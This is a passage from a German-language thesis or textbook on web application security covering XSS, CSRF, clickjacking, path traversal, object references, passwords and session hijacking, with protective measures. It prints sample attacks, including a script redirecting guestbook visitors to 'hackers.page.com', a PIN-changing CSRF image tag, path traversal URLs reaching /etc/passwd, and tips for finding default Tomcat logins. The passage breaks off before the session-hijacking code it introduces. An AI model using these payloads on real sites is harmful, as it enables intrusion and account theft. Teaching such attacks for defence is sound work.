möglichst viele Angriffszenarios anzusehen und während der Gestaltung einer Webseite, wie
zum Beispiel beim narrensicheren Programmieren einer Anwendung, stets alle möglichen
Ausführungen eines Weges, Befehls oder einer Eingabe in Betracht zu ziehen. Da es etliche
Angriffszenarios gibt, werden in diesem Kapitel nur die häufigsten aufgezeigt und erklärt.
3.1 Unsichere Konfiguration
Heute angebotene Web-Software ist oftmals für einen Laien schwer verständlich und bietet
sehr viele Konfigurationsmöglichkeiten an. Was die einzelnen Einstellungen genau bewirken,
müssen auch viele Experten nachlesen, da sich die Funktionalität mit jeder Aktualisierung
immer mehr entfaltet.
„Je mehr Funktionalität zur Verfügung steht, desto mehr Angriffsmöglichkeiten eröffnen wir
einem potenziellen Angreifer.“ (Kübeck 2011, 187)
Standardeinstellungen sind oftmals für Angreifer leicht im Internet nachzurecherchieren, daher sind diese nicht zwingend die Besten und daher ist es ratsam, Standardeinstellungen nicht
zu behalten und umgehend alle Einstellungen an das eigene Projekt anzupassen. (Vgl. Kübeck
2011, 187)
Betrachtet man beispielsweise den Webserver Tomcat, so ist von den Standardeinstellungen
her das Anmeldekonto mit dem Benutzernamen tomcat und dem Passwort tomcat nach der
Installation voreingestellt. Die Anmeldekonten kann man in der Datei users.xml nach der Installation einsehen. Ein Angreifer braucht nur noch die voreingestellten Zugangsdaten zu recherchieren und kann zum Beispiel mit Hilfe der Google-Suchmaschine (Sucheingabe
„inurl:Begriff“ oder „allinurl:Begriff“ findet Webseiten, die den Suchbegriff im Dateinamen
enthalten) eine Anmeldeseite von Tomcat suchen und das Standardanmeldekonto ausprobieren. Dieses Vorgehen könnte dem Angreifer zwar sehr viel Zeit kosten, aber die Wahrscheinlichkeit ist hoch, dass er dadurch einen Webserver findet, den er infiltrieren kann. (Vgl. Kübeck 2011, 188)
Seite 17
Eine vorgefertigte Allroundlösung für jeden Webserver gibt es nicht, davon abgesehen, dass
es unvorstellbar viele Webserver-Software für verschiedene Betriebssysteme gibt! Es gilt,
sich über die Funktionen des Webservers zu informieren und passend für das abgezielte Projekt die Einstellungen vorzunehmen. Jede Einstellung, die nicht notwendig oder brauchbar für
das Projekt ist, sollte restriktiv deaktiviert werden, um Angriffsmöglichkeiten weitestgehend
zu reduzieren. Außerdem sollte eine Web Application Firewall (Verfahren, das Verbindungen
auf Anwendungsebene untersucht) installiert und richtig konfiguriert werden, da diese eine
Vielzahl von Angriffen erkennen und verhindern kann.
3.2 Cross Site Scripting (XSS) Schwachstellen
Cross Site Scripting (XSS) ist eines der häufigsten Angriffsszenarios eines Hackers. Durch
falsch oder ungenügend geprüfte und gefilterte Benutzereingaben kann ein Angreifer durch
das Abschicken von zusätzlichem Code den Content (Inhalt) der Webseite manipulieren und
beliebig verändern, das heißt, sogar Dateien hoch- und herunterladen und in Folge dessen die
Website kontrollieren. (Vgl. Kübeck 2011, 123-125; Zalewski 2013, 330; Esser/Kunz 2008,
81-84; Wassermann 2007, 92-97; Niemietz 2012, 42-44)
Eingaben und Selektionen eines Besuchers werden mittels einem oder mehreren Formular/en
über GET- bzw. POST-Parameter oder über HTTP-Header-Elemente wie Cookies an die
nächsten Internetseiten weitergegeben. Sofern die Benutzereingaben nicht auf Skriptsprachen
überprüft werden, wird jede der nächsten Webseiten, welche diese Daten erhält und beispielsweise ausgibt, um die Eingaben zu bestätigen, anstatt beispielsweise einen Namen und
eine E-Mail-Adresse, ein Skript ausgeben. Bevor das Skript ausgegeben wird, wird es von
dem Debugger (= Fehlerüberprüfungswerkzeug) dieser Skriptsprache, wenn ein solcher auf
dem Webserver existiert, validiert und verarbeitet und erst dann anschließend geparst (in ein
anderes Format übersetzt, in diesem Fall HTML), sofern das Skript keine Fehler enthält. Die
übertragenen Daten über GET- oder POST-Parameter können immer dann, wenn sie verwendet werden, den Content der Webseite verändern. Diese veränderten Webseiten sind zwar
meistens nur dem angreifenden Besucher ersichtlich, aber es gibt auch persistente XSS Schwachstellen, die sogar jedem Besucher dargestellt werden und jeden Besucher attackieren
können. (Vgl. Kübeck 2011, 123-127; Zalewski 2013, 330)
Seite 18
Beispiel einer persistenten XSS-Schwachstelle mit der Skriptsprache PHP
Im folgenden PHP-Skript werden die Gästebucheinträge aus einer Datenbank herausgelesen
und dann direkt ausgegeben.
<?php
// Seitenkopf
…
// Code zum Auslesen aus Datenbank
…
while($row = mysql_fetch_assoc($dbresult)) {
echo “<tr>”;
echo “<td>”.$row[“username“].“<br/>“.$row[“entry_date”].”</td>”;
echo “<td>”.$row[“entry_text”].”</td>”;
echo “</tr>”;
}
// Seitenfuß
…
?>
Abb. 1.1: Einträge aus MySQL-Datenbank abrufen (Wassermann 2007, 93)
Wenn man davon ausgeht, dass die Eingaben nicht geprüft und maskiert wurden, so wäre ein
möglicher Angriff die Absendung des folgenden Codes in eines der Textfelder:
<script type=“text/JavaScript“>
top.location.href = „http://hackers.page.com“;
</script>
Abb. 1.2: Einschleusen von Code (Wassermann 2007, 93)
Dadurch würde jeder Besucher umgehend, nachdem der Gästebucheintrag geladen wurde, auf
die Webseite “http://hackers.page.com” umgeleitet werden.
3.3 Cross Site Request Forgery (CSRF)
Cross Site Request Forgery (CSRF, XSRF oder „Sea-Surf“) zählt ebenfalls zu den ältesten
bekannten Schwachstellen von Webanwendungen. Dabei spielen Loginseiten eine wichtige
Rolle. Benutzer, die ein legitimes Loginkonto besitzen, werden dazu gebracht, mit ihrem eigenen Konto angemeldet bestimmte Aktionen auf der Website des Anmeldekontos durchzuführen, z.B. Geld transferieren, Passwörter ändern, etc. Dieser Angriff erfolgt meistens ohne
Konsens des Opfers. Sofern die Webanwendung keinen Schutz vor CSRF-Attacken bietet,
können Angreifer mit geringem Aufwand die Konten der Opfer indirekt verwenden. (Vgl Kübeck 2011, 137-138; Niemietz 2012, 42; Zalewski 2013, 330; Esser/Kunz 2008, 112-114)
Seite 19
Ein Browser nutzt Tabs, sprich neue Fenster um mehrere Seiten parallel öffnen und anzeigen
zu können. Browser sind so konstruiert, dass sich die eigene Website und eine externe, aber
beispielsweise in einem Frame geöffnete Website im Prinzip nicht gegenseitig beeinflussen
können, d.h. kann man mittels Javascript nicht auf den Inhalt einer geöffneten anderen Seite
zugreifen (Same Origin Policy). (Vgl. Kübeck 2011, 137; Esser/Kunz 2008, 113-114; Niemietz 2012, 41-42; Kliewe01)
Wenn man sich nun in die externe Seite jedoch einloggt und dann ein neues Browserfenster
öffnet mit derselben URL der externen Seite, so ist man postum eingeloggt. Beide Browserfenster benutzen dieselben Cookies und deswegen stimmen die Rechte. Das machen sich Angreifer zu Nutze in dem sie beispielsweise GET-Variablen eines Formulars missbrauchen.
Dadurch können sie mit Hilfe von wenigen Zeilen HTML-Code, den sie in einer eigenen
Website einbauen oder in eine seriöse Website einschleusen, die Login-Session eines legitimen Benutzers missbrauchen um in seinem Namen Aktionen auf der externen Website durchzuführen. (Vgl. Kliewe01)
Es gibt mehrere Angriffswege, die einen Angreifer das Ausnutzen solcher CSRFSchwachstellen ermöglichen können.
Einerseits könnte ein Hacker auf dem Computer des Opfers eine Schadsoftware installieren,
mit der er beliebig den Computer und den Browser des Opfers steuern könnte bzw. insgeheim
könnte die Schadsoftware unauffälig, sobald der Benutzer sich angemeldet hat, mit einem
versteckten Browserfenster bestimmte Webseiten aufrufen und so das Konto des Opfers verwenden. (Vgl. Thomaschewski)
Andererseits könnte ein Hacker eine präparierte Webseite erstellen, in der er versteckte Skripte einbaut. Die Skripte führen gewisse Aktionen sofort nach Aufruf der präparierten Seite
durch, sofern der Benutzer bei der Ziel-Website noch angemeldet ist. Den Link der präparierten Webseite müsste der Hacker nur verbreiten bzw. weiterschicken und abwarten bis er die
Resultate erhält. Der zu verschickende Link muss natürlich seriös wirken und wird oft durch
eine Weiterleitung verfremdet. (Vgl. Thomaschewski)
Es wäre ebenso möglich, nur die Skripte der präparierten Webseite durch eine persistente
Seite 20
XSS-Schwachstelle zu verbreiten. Viele Angriffsmöglichkeiten lassen sich oft beliebig kombinieren. (Vgl. Thomaschewski)
Beispiel eines CSRF-Angriffs
<img src=”http://www.demobank.com/ChangePIN.jps?newPin=example“>
Abb. 2: Beispiel eines CSRF-Angriffs (Kübeck 2011, 137)
Ein Beispiel wäre das simple Einbauen eines Elements, das eigentlich ein Bild darstellen sollte. Obwohl kein Bild durch diese URL erfasst werden kann, werden die Seite und der damit
zusammenhängende Befehl vom Browser des Besuchers erfolgreich aufgerufen. Sofern der
Besucher in der betroffenen Website eingeloggt ist und die Website nicht geschützt ist, werden automatisch mit dem Account des Besuchers ungewollt Spamnachrichten verschickt oder
andere Aktionen ausgeführt. Dabei ist es für einen Angreifer durchaus nützlich das keine Fehlermeldung oder ähnliches angezeigt wird, da sowohl falsche HTML-Tags als auch falsche
HTML-Aufrufe schlichtweg von jedem Browser ignoriert werden und in diesem Fall visuell
nichts zurückgegeben wird.
Natürlich ist es Hackern mit dieser Methode möglich das Passwort oder andere Accountdaten
zu ändern, falls das Loginsystem das erlaubt und keine weiteren Sicherheitsmaßnahmen dem
entgegenwirken können, wie zum Beispiel das Verifizieren einer Änderung durch einen Link
der an die E-Mail des Benutzers versendet wird oder eine Sicherheitsfrage.
Um als Webseitenbetreiber einen CSRF-Schutz einzubauen muss sichergestellt werden, dass
Webseitenaufrufe nur von der eigenen Website kommen können. Verständlicherweise ist das
ein durchaus schweres Unterfangen, aber es lässt sich durch richtige Konfiguration des Webservers und der Web Application Firewall weitestgehend bewerkstelligen. Das Problem dabei
ist, das zwar der Referrer dazu überprüft werden kann (dieser müsste die eigene Domain enthalten), aber alle Daten die vom Client kommen sich fälschen und manipulieren lassen. Daher
kann ebenso wenig auf Cookies vertraut werden. Es lässt sich keine narrensichere Lösung
finden. Der einzige annehmbare Schutz scheint jeden Link und jedes Formular um einen versteckten Token (eine Zufallszahl) zu ergänzen, der dynamisch generiert wird und begrenzt
haltbar, schwer erratbar und nur dem Webadministratoren bekannt sein muss. Außerdem wird
damit als kleiner Nebeneffekt das doppelte Absenden von Formularen unterdrückt.
Außerdem sollte darauf geachtet werden, dass das lokale System virenfrei ist. Andere Mög-
Seite 21
lichkeiten, die ein erster Schutz sein können, aber das Risiko eines CSRF-Angriffs nicht wesentlich mindern, sind nur POST-Anfragen zu verwenden, da die meisten CSRF-Angriffe
GET-Variablen fokussieren, und alle externen Quellen genau zu überprüfen.
Um als Besucher kein Opfer eines CSRF-Angriffs oder einer XSS-Schwachstelle zu werden,
empfiehlt es sich zum Beispiel das Addon NoScript für Firefox zu verwenden. (Vgl. Kübeck
2011, 140; Esser/Kunz 2008, 116-119; Kliewe01; Thomaschewski)
3.3.1 Clickjacking und Weiterleitungen
Weiterleitungen werden nicht nur bei XSS- und CSRF-Schwachstellen ausgenutzt, sondern
können bei vielen verschiedenen Angriffsmethoden verwendet werden.
Tatsächliche externe Weiterleitungen von bekannten Websites werden gerne von Angreifern
genutzt, um auf ihre präparierte Website umzuleiten. Bei Links von größeren Internetportalen
hegen die meisten Benutzer kaum Zweifel und öffnen es sogleich, daher verspricht sich ein
Angreifer dadurch viele Besucher auf seine Webseite zu bekommen. Das unten genannte Beispiel sollte zwar eine Warnung anzeigen, doch wenn das nicht der Fall ist, könnten viele diese
externe Weiterleitung verwenden, um auf ihre präparierten Internetseiten oder sogar PhishingSeiten umzuleiten. Daher ist es immer ratsam bei externen Weiterleitungen, die beliebig verwendet werden können, dem Besucher einen Hinweis anzuzeigen oder am besten überhaupt
keine zu erstellen. (Vgl. Kübeck 2011, 165-166)
Beispiele für externe Weiterleitungen
http://www.facebook.com/l.php?u=http://www.google.at&h=PAQGhohj3&s=1
www.facebook.com/l.php?u=%67%6F%6F%67%6Ce%2E%61%74%2Fin%74%6C%2Fde%2F%6Fp%74i%6F
ns%2F&h=PAQGhohj3&s=1
http://bit.ly/b9pawC
Abb. 3: Beispiele für externe Weiterleitungen
Jede beliebige Seite kann anstelle von „http://www.google.at“ eingegeben werden. Links, die
vorher mit der PHP-Funktion „urlencode“ enkodiert wurden, sind für einen Laien noch
schwerer zu lesen und werden noch wahrscheinlicher für seriös und legitim gehalten. Dies
soll der zweite Link beweisen. Das Zeichen „%2F“ bedeutet decodiert einen Slash („/“) und
verschleiert, dass zum Beispiel auf einen Unterordner oder eine direkte Datei in der eingesetzten Website umgeleitet wird. Mit der Prozentkodierung kann man auch Buchstaben und alle
in einer URL möglichen Zeichen enkodieren. Übersetzt heißt der zweite Weiterleitungslink
Seite 22
„www.facebook.com/l.php?u=google.at/intl/de/about/products/&h=PAQGhohj3&s=1“. Viele
Spam-E-Mails und Angriffe auf Web-Anwendungen verwenden gerne solche externe Weiterleitungen oder Kurz-URL-Dienste, die lediglich eine Weiterleitung zur spezifizierten Website
generieren, wie man im dritten Beispiel sehen kann. Solche Weiterleitungen wirken aber
meistens nicht so seriös wie externe Weiterleitungen von bekannten Websites, da sie zu sehr
an Popularität gewonnen haben.
Eine Angriffsmethode, die den Besucher einer Website austrickst, ausnutzt und oft externe
Weiterleitungen oder andere Link-Verschleierungsmethoden verwendet, ist vor allem das so
genannte „Clickjacking“ (= Click Hijacking – „Mausklick-Entführung“), ein weiterer CSRFAngriff. Es existieren zahlreiche Varianten des „Clickjacking“ wie Likejacking, Sharejacking,
Cursorjacking, Filejacking, Cookiejacking, Tapjacking usw. Diese Varianten gehen aber alle
vom klassischen Clickjacking aus. Daher wird in diesem Kapitel nur auf dieses eingegangen.
(Vgl. Niemietz 2012, 61-62)
Das klassische Clickjacking ist nur durch eine präparierte Webseite eines Hackers zu bewerkstelligen. In dieser präparierten Webseite werden Skripte versteckt, die durch einen Mausklick
auf ein Objekt in der Webseite ausgelöst werden und bestimmte Aktionen mit den Daten des
Besuchers durchführen. (Vgl. Niemietz 2012, 63-70; Kübeck 2011, 142-145)
Zum Beispiel öffnet ein Besucher, der sich zuvor bei einer Bankseite angemeldet hat und
noch immer angemeldet ist, eine externe Weiterleitung, die ihn auf die präparierte Webseite
des Hackers führt. Mit einem Klick auf einen Button mit dem Text „Urlaubsfotos laden“ oder
sonstiges erwartet sich zwar der Besucher, dass nur genau dies geschieht, aber in Wirklichkeit
löst der Mausklick auf diesen vermeintlichen Button ein Skript aus, das die Bankseite in einem versteckten I-Frame aufruft und beispielsweise eine Transaktion auf das Konto des Hackers bestätigt. Ein I-Frame ist zwar keine Weiterleitung in dem Sinne, fungiert aber beim
Clickjacking als Weiterleitungsmedium, um nach einem Mausklick im Hintergrund diverse
Aktionen durchzuführen, ohne die Hauptwebsite wechseln zu müssen, weil das viel zu auffällig wäre. Möglicherweise, aber nicht zwingend immer der Fall werden mitunter tatsächlich
diverse Fotos geladen und angezeigt, damit der Besucher gar keinen Verdacht schöpft.
Um Clickjacking zu verhindern, reicht es, wenn man verhindert, dass die eigene Website in einem Frame geöffnet werden kann. Das lässt sich durch sogenannte „Frame-
Seite 23
busting-Codes“ bewerkstelligen, die es in verschiedenen Ausführungen gibt. (Vgl.
Kübeck 2011, 146-148; Niemietz 2012, 129-135 und 151-154)
3.4 Path-Traversal-Schwachstellen
Nicht selten kommen auch Path-Traversal-Schwachstellen in Upload- oder Downloadskripten
zum Vorschein. Dabei werden Pfadangaben verwendet, die es einem Angreifer erlauben, auf
Inhalte in anderen Verzeichnissen zuzugreifen, auf die er explizit nicht zugreifen dürfte. Leider funktioniert dieser Angriff, auch wenn die eigenen Verzeichnisse und wichtigen Daten
mit einer .htaccess/.htpasswd Datei (= Konfigurationsdateien eines Apache-Webservers, mit
denen Zugriffe verwaltet werden können) geschützt sind, da es ein serverbasierter Angriff ist
und der Server selbst natürlich auf alle Inhalte zugreifen kann und darf. (Vgl. Kübeck 2011,
162-165; Zalewski 2013, 335)
Die eingesehenen Inhalte könnten sensible Daten wie Passwörter enthalten und einem Hacker
weitere Angriffe und die Übernahme des Webservers sehr erleichtern. Bei solchen Schwachstellen ist anzumerken, dass oft die Pfadangaben “../“ oder “./“ verwendet werden, um in der
Verzeichnisstruktur ein Verzeichnis zurückzugelangen oder im selben Verzeichnis der Ausgangsdatei zu navigieren. Diese relativen Angaben funktionieren in jeder Verzeichnisstruktur
und sind auch von großem Nutzen, wenn man nicht eine absolute Pfadangabe für externe Dokumente oder Dateien angeben möchte, was vor allem bei Skripten oder Webseiten, die auf
mehreren Servern mit unterschiedlichen Namen hochgeladen werden, sehr praktisch ist, da
man alle Pfadangaben nicht noch extra anpassen muss. (Vgl. Kübeck 2011, 162-165; Zalewski 2013, 335)
Beispiel einer Path-Traversal-Schwachstelle
Angenommen ein Angreifer kopiert einen Downloadlink eines Skripts und erkennt, dass das Skript
nur abhängig vom Pfad der Datei ist.
Abb. 4.1: Kopieren eines Downloadlinks
Zum Beispiel lautet der Link:
www.worker.square7.ch/scripts/download/index.php?datei=Deutsch/1.jpg
Abb. 4.2: Die kopierte URL
Wenn der Angreifer testen möchte, ob eine Path-Traversal-Schwachstelle vorliegt, sieht er
sich zunächst einmal das Download-Skript selbst an. Das macht er unter anderem nicht nur
Seite 24
um einen Path-Traversal-Angriff zu testen, sondern auch um gleichzeitig feststellen zu können, wo das Verzeichnis „Deutsch“ tatsächlich ist, da der Ordner „Deutsch“ nicht zwingend
in „www.worker.square7.ch/scripts/download/Deutsch“ liegen muss!
Durch folgenden Link versucht er das Download-Skript herunterzuladen.
www.worker.square7.ch/scripts/download/index.php?datei=../../../../../../../../../../../../../../scripts/download/index.php
Abb. 4.3: Ausnutzen einer Path-Traversal-Schwachstelle durch Aufrufen einer URL
Er verwendet die Pfadangabe “../“ so oft wie
nötig hintereinander, um vom unbekannten
Verzeichnis,
egal
wie
tief
die
Verzeichnisstruktur ist, herauszukommen,
bis er im Hauptverzeichnis ist. Da er nicht
weiter
als
zum
Hauptverzeichnis
herausnavigieren kann, landet er, wenn die
Zahl der Wiederholungen zu hoch angesetzt
ist, trotzdem im Hauptverzeichnis! Da der
Abb. 4.4: Herunterladen des Download-Skripts
Angreifer nicht wissen kann, wie tief das unbekannte Verzeichnis ist, in dem der Ordner
„Deutsch“ liegt, wiederholt er demnach diese Pfadangabe im Link so oft wie er möchte, es
muss nur schließlich öfter oder gleich oft vorkommen wie die Zahl, die der Tiefe der unbekannten Verzeichnisstruktur entspricht. Vom Hauptverzeichnis aus greift er dann auf die Datei „index.php“ im Ordner „scripts/download“ zu,
in der sich das eigentliche Download-Skript befindet.
Sollte die Website tatsächlich die Pfadangabe
nicht gut genug prüfen und Path-TraversalAngriffe verhindern, so kann er das Skript tatsächlich herunterladen. Falls das funktioniert hätte
und er nun feststellen konnte, wo der Ordner
Abb. 4.5: Ansicht einer robots.txt-Datei
„Deutsch“ tatsächlich liegt, zum Beispiel in
www.worker.square7.ch/files/pub/uploads, würde der Angreifer als nächstes die robots.txtDatei im Hauptverzeichnis der Website (www.worker.square7.ch/robots.txt) öffnen wollen,
um eventuell geschützte Websiteinhalte zu finden. Die robots.txt-Datei gibt, an welche Verzeichnisse oder Websiteinhalte von Suchmaschinen nicht indiziert/erfasst werden dürfen.
Seite 25
Viele Webadministratoren schützen mitunter wichtige Bereiche ihrer Website mit dieser Methode. Wenn der Angreifer nun beispielsweise die Datei „modbereich.php“ herunterladen
möchte, um zu sehen, wie der Loginbereich aufgebaut ist und eventuell auf Passwörter zu
schließen, bräuchte er nur den obigen Link des Skripts dahingehend anzupassen.
Das macht er mit folgendem Link:
www.worker.square7.ch/scripts/download/index.php?datei=../../../mods/modbereich.php
Abb. 4.6: Herunterladen einer Datei, die in der robots.txt-Datei aufgeführt ist
Er verwendet die Pfadangabe „../../../“, um von den Verzeichnissen „files/pub/uploads“ heraus
zum Hauptverzeichnis zu navigieren, da laut der robots.txt-Datei „/mods/modbereich.php“ im
Hauptverzeichnis liegt.
3.5 Unsichere direkte Objektreferenzen
Oft kommt es vor, dass Webseiteninhalte (Foto-, Video-, Audiodateien …) nur für angemeldete Besucher ersichtlich sein sollen, aber diese Objekte direkt referenziert werden. Direkt
referenziert heißt beispielsweise mit einem eindeutigen Dateipfad oder eine eindeutige Zahlenfolge oder Code von der Datenbank versehen. Angreifer können aber solche Werte ändern
und durch Ausprobieren auf andere Inhalte schließen, auf die sie als nicht angemeldeter Besucher keinen Zugriff haben sollten. (Vgl. Kübeck 2011, 159)
Es gibt mehrere Möglichkeiten, einen Angreifer davon abzuhalten, solche Inhalte durch Probieren zu finden.
Eine Möglichkeit wäre, die direkten Objektreferenzen durch indirekte zu ersetzen.
„Jeder Besucher bekommt dann eine andere Referenz auf ein und dasselbe Objekt und bei der
Darstellung werden die indirekten in direkte Referenzen umgewandelt.“ (Kübeck 2011, 162)
Es wäre außerdem möglich, URL-IDs (z.B. index.php?id=0001) durch sogenannte „Slugs“
(„friendly urls“ oder „permalinks“; sind eindeutige Texte) zu ersetzen. Slugs bringen viele
Vorteile mit sich, zum Beispiel wird nicht nur das Erraten erschwert, sondern Links werden
dadurch auch kürzer und leichter lesbar und eventuell durch Stichwörter der Slugs in Suchmaschinen eingetragen. (Vgl. Jellinek)
Seite 26
Slugs lassen sich durch die Eingabe folgender Befehle in der „.htaccess“-Datei festlegen:
RewriteEngine on
RewriteRule ^download/([-a-z]+) get_item.php?file=$1
Abb 5.1: Die URL-ID „file“ durch einen Slug in der htaccess-Datei ersetzen (Vgl. Jellinek)
Dadurch könnte beispielsweise ein Aufruf von „download/get_item.php?file=beispiel-text“
durch einen Aufruf von „download/beispiel-text“ ersetzt werden.
Außerdem ist immer davon abzuraten einen Dateinamen in der URL-ID anzugeben, da solche
Angaben einem Angreifer die Arbeit wesentlich erleichtern, sofern keine Maßnahmen gegen
Path-Traversal-Angriffe ergriffen wurden. (Vgl. Jellinek)
Beispiele unsicherer direkter Objektreferenzen
1) www.worker.square7.ch/scripts/download/index.php?datei=Deutsch/1.jpg
2) www.worker.square7.ch/scripts/download/index.php?datei=D001
3) www.worker.square7.ch/scripts/gallery/show.php?img=D001.jpg
4) www.worker.square7.ch/scripts/gallery/show.php?img=D001.jpg&text=D001.txt
Abb 5.2: Beispiele von URL-ID’s, die von einem Angreifer ausgenutzt werden können
Diese URL-IDs können von einem Angreifer verändert werden und durch Ausprobieren kann
auf gültige Dateien geschlossen werden.
So würde womöglich ein Angreifer vorgehen, um einen neuen Inhalt zu erraten:
1) www.worker.square7.ch/scripts/download/index.php?datei=Deutsch/2.jpg
2) www.worker.square7.ch/scripts/download/index.php?datei=D002
3) www.worker.square7.ch/scripts/gallery/show.php?img=D002.jpg
4a) www.worker.square7.ch/scripts/gallery/show.php?img=D002.jpg&text=D002.txt
4b) www.worker.square7.ch/scripts/gallery/show.php?img=D002.jpg&text=/etc/passwd
Abb 5.2: Mögliche Vorgehensweise eines Angreifers um auf andere Daten zu stoßen
3.6 Das Passwort-Dilemma
Ein großes Problem stellt die Nachrichtenübermittlung und Kryptographie bei WebAnwendungen dar. Es ist durchaus schwer, eine geeignete Chiffrierung zu finden, die Angreifer nicht mit wenigen Schritten sogleich dekodieren können. Es ist zwar ratsam, öffentlich
bekannte und gut getestete kryptographische Verfahren zu benutzen, aber ein Angreifer kann
Seite 27
dieselben ebenfalls anwenden, da sie bekannt sind. (Vgl. Kübeck 2011, 85)
Tatsächlich lässt dieses Problem sogar viele Experten grübeln, da ein Restrisiko immer bleibt.
Derzeit scheint es für private Websites noch immer am leichtesten zu sein, mehrere Verschlüsselungsverfahren in Folge zu kombinieren, da es bereits eine Vielzahl von Verschlüsselungsmethoden gibt und es schwer ist, ein neues Verfahren zu entwerfen, das es zuvor noch
nicht gegeben hat, und dabei vieles schiefgehen kann.
Je länger ein Schlüssel ist, desto sicherer ist er. Ein langer Schlüssel ist für einen Angreifer
schwer zu erraten und würde entsprechend der Anzahl der Möglichkeiten und der Rechenleistung eines Computers auch lange Zeit in Anspruch nehmen, durch einen Brute-Force-Angriff
(Angriff, der alle Möglichkeiten der Reihe nach durchgeht) ermittelt zu werden. Daher ist es
immer gut, Besucher bei einer Registrierung darauf hinzuweisen und zum Beispiel mit einem
Javascript die Eingabe des Passworts nach der Stärke zu kommentieren. Um Brute-ForceAttacken zu erschweren, kann nach einer bestimmten Anzahl von Anmeldeversuchen der
Zugriff auf das Anmeldeformular für die IP-Adresse des Besuchers eine Zeit lang gesperrt
werden. Es ließe sich auch einrichten, dass die Sperrzeit umso länger angesetzt wird, je öfter
dieses Verhalten beim gleichen Besucher auftritt. Dadurch werden Brute-Force-Attacken
zwar nicht verhindert, doch die Zeit, um alle Möglichkeiten auszuprobieren, erheblich erhöht.
(Vgl. Kübeck 2011, 86-87)
Eine weitere effektive Maßnahme, die Brute-Force-Attacken sogar aushebeln könnte, ist, die
Passwörter nach einem bestimmten Zeitintervall zu ändern. Eine Brute-Force-Analyse kann
nicht wissen, wann das Passwort geändert wurde und hat womöglich den Wert des neuen geänderten Passworts schon versucht und verworfen. Somit besteht die geringe Möglichkeit,
dass eine vollständig abgelaufene Brute-Force-Attacke sogar keine Ergebnisse liefert.
Dabei gilt, je kürzer das Zeitintervall für die Änderung des Passworts angesetzt wird, desto
schwerer gestaltet es sich, ein gültiges Passwort durch Raten zu finden. Da es wohl viele Besucher ärgern würde und schwer möglich ist, die eigenen Besucher dazu bewegen, ihr eigenes
Passwort täglich, wöchentlich oder monatlich zu ändern, ist diese Maßnahme für viele Webadministratoren nur Utopie.
Seite 28
Schließlich gibt es viele Wege und Möglichkeiten, Passwörter mit PHP oder anderen Skript
sprachen zu schützen und entsprechend sicher zu verschlüsseln. Es muss lediglich die passende Variante, die sich mit dem Benutzerkomfort und der Sicherheit gleichermaßen verträgt,
gefunden werden.
„Nicht jeder Lösungsweg ist immer praktikabel, versuchen Sie also keinesfalls jedes Risiko
auf Biegen und Brechen zu beseitigen – ein Restrisiko bleibt immer bestehen.“ (Wassermann
2007, 97)
3.7 Session-Hijacking
Wenn trotz aller Schutzmaßnahmen sich irgendwo eine XSS-Schwachstelle befindet, kann
diese von einem Angreifer unter anderem für das sogenannte Session-Hijacking missbraucht
werden. Session-Hijacking ist ein sehr unterschätzter Angriff. Wie der Name dieses Angriffs
schon sagt, kommt es bei falscher Benutzung und Validierung von Sessions bzw. CookieDaten zum Diebstahl einer Loginsitzung und aller Zugangsmöglichkeiten dieses Kontos. Falls
einem Hacker dieser Angriff bei einem Admin-Konto gelingen würde, so könnte er das ganze
System einer Website kontrollieren bzw. die Website selbst kontrollieren und verändern. Ein
Cookie ist eine lokale Textdatei, welche Zugangsdaten wie unter anderem die Session-ID zu
einer Website für eine gewisse Zeit lang gespeichert bereit hält. Kann ein Angreifer die Session-ID eines angemeldeten Besuchers herausfinden, so braucht er diese nur noch in seinen
Cookie zu kopieren und kann dann praktisch im Namen des Opfers auf der Website surfen.
(Vgl. Kübeck 2011, 152-153; Niemietz 2012, 46 -47; Esser/Kunz 2008, 180-181; Wassermann 2007, 52)
Wie bei vielen anderen Angriffen gibt es auch hier verschiedene Möglichkeiten, SessionHijacking zu betreiben.
Wie bereits erwähnt wäre es mit einer persistenten XSS-Schwachstelle relativ einfach, an
Cookie-Daten eines Besuchers zu kommen. Durch ein Skript wird die Session-ID z.B. mit
Javascript über den Befehl „document.cookie“ oder mit PHP über den Befehl „session_id()“
bzw. „$_COOKIE["PHPSESSID"]“ ermittelt und an den Hacker weitergeleitet. Ein anderer
Weg an eine Session-ID zu gelangen sind Foren oder Posts von Laien, die unbewusst einen
Link
kopiert
und
weitergegeben
haben,
der
ihre
Session-ID
enthält
(z.B.
www.beispiel.de/index.php?PHPSESSID=7u6i8rfg564zegtjap53otlkeg). Außerdem würde
Seite 29
sich auch eine Schadsoftware, die lokal gespeicherte Cookies einem Angreifer übermittelt, für
ein Session-Hijacking anbieten. Die meisten versierten Hacker würden aber Angriffe bevorzugen, bei denen sie keine Spuren hinterlassen. Durch Sniffing sammeln solche Angreifer
notwendige Informationen. Bei unverschlüsselten Protokollen (HTTP, Telnet, FTP, POP3,
…) geschieht das direkt über den Zugriff auf ein Netzwerkkabel oder eine öffentliche WLANVerbindung oder indirekt durch einen Man-in-the-Middle-Angriff (Angriff, bei dem die Kommunikation auf den Computer des Angreifers umgeleitet wird). Bei einer verschlüsselten Datenübertragung müsste die Verschlüsselung zuerst geknackt werden. (Vgl. Esser/Kunz 2008,
180-181; Wassermann 2007, 53)
Beispiel eines Session-Hijackings anhand einer persistenten PHP-XSS-Schwachstelle
Angenommen, es wurde persistenter PHP-Code durch eine XSS-Schwachstelle eingeschleust:
Es ist vollkommen egal, wo sich das eingeschleuste Skript auf der Ausgangswebsite befindet,
es müsste lediglich vom angemeldeten Besucher aufgerufen werden. Cookies werden lokal
gespeichert und die oben erklärten Befehle holen sich nur die Session-IDs bzw. die Werte
eines einzelnen Cookies mit vordefiniertem Namen für eine Domäne. Bei beispielsweise einer
PHP-Session heißt dieser Cookie immer “PHPSESSID“. Es gibt keine andere Möglichkeit,
von einer Ausgangswebsite Cookies von einer anderen Website auszulesen als die Cookies
lokal beim Besucher auszulesen, da dies zu viele Sicherheitslücken öffnen würde. Außerdem
gibt es keine Cookies mit doppelten Namen. Soll ein neuer Cookie mit demselben Namen
erstellt werden (z.B. bei einer Anmeldung), werden die Werte des Doppelgängers nur überschrieben, aber kein neuer Cookie mit demselben Namen erstellt. Man beachte das in den
folgenden Beispielen „session_id()“ und „$_COOKIE["PHPSESSID"]“, die demnach dieselben
Werte liefern, nämlich die gesuchte Session-ID des Cookies „PHPSESSID“, und daher eine
der beiden Funktionen gewählt werden darf.
Mit diesem Wissen könnte ein Angreifer folgenden Code verwenden, um die Session-IDs
vieler Besucher lokal in eine Textdatei zu speichern und auf seinen eigenen Server übertragen
zu lassen.
4
…
// Alle Aufrufe werden mit @ unterdrückt, damit keine möglichen Fehlermeldungen dem
// Opfer angezeigt werden!
